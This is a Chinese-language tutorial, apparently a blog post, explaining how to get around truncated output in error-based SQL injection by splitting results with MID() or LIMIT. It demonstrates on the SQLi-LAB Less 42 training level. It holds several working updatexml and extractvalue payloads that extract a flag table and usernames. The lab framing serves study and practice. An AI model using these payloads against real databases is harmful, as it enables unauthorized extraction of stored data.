关于SQL报错注入数据输出显示不完全的问题

 关于SQL报错注入数据输出显示不完全的问题

  在sql注入中使用 updatexml extractvalue exp floor函数进行报错注入时，有时会出现由于数据的数量过多导致无法一次性显示所有内容 那么我找到了以下几种方法用来解决这个问题

MID 函数

作用：用于从文本字段中提取字符。

mid()函数语法如下

SELECT MID(column_name,start[,length]) FROM table_name

其中第一个参数是要提取的表名，第二个参数为起始位置，第三个参数为返回的字符个数

演示：

这里采用SQLi-LAB Less 42关卡作为环境演示

输入payload（注入点为password）：

1' and (updatexml (1,concat(0x5c,(select group_concat(flag) from flag),0x5c),1))#

然后得出结果发现flag不全

 这时候我们就可以采用mid()函数来解决这个问题

payload：

1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from flag ),1,31),0x7c)))#

得到一部分flag

另一部分flag

payload:

1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from flag ),32,31),0x7c)))#

这样拼接就可以得到完整的flag

利用Limit子句也可以达到一样 的效果

Limit子句

limit子句用于限制查询结果返回的数量，常用于分页查询

'" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+

limit子句含有两个参数，第一个参数表示从第几行数据开始查，第二个参数表示查几条数据
例如：limit 1,2 表示从第二行开始取两条数据 想要获取后面的数据只需要改变limit中第一个参数即可

注意

group_concat和limit不能同时使用

个人认为mid()函数更好用